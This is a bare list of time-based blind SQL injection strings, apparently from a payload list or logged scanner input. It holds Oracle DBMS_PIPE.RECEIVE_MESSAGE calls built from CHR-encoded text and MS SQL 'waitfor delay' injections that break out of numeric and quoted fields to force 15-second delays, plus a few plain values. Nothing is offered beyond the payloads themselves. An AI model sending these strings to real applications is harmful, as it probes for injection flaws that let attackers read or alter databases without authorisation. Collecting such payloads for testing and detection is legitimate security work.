555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
555
555-1 waitfor delay ‘0:0:15’ —
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1); waitfor delay ‘0:0:15’ —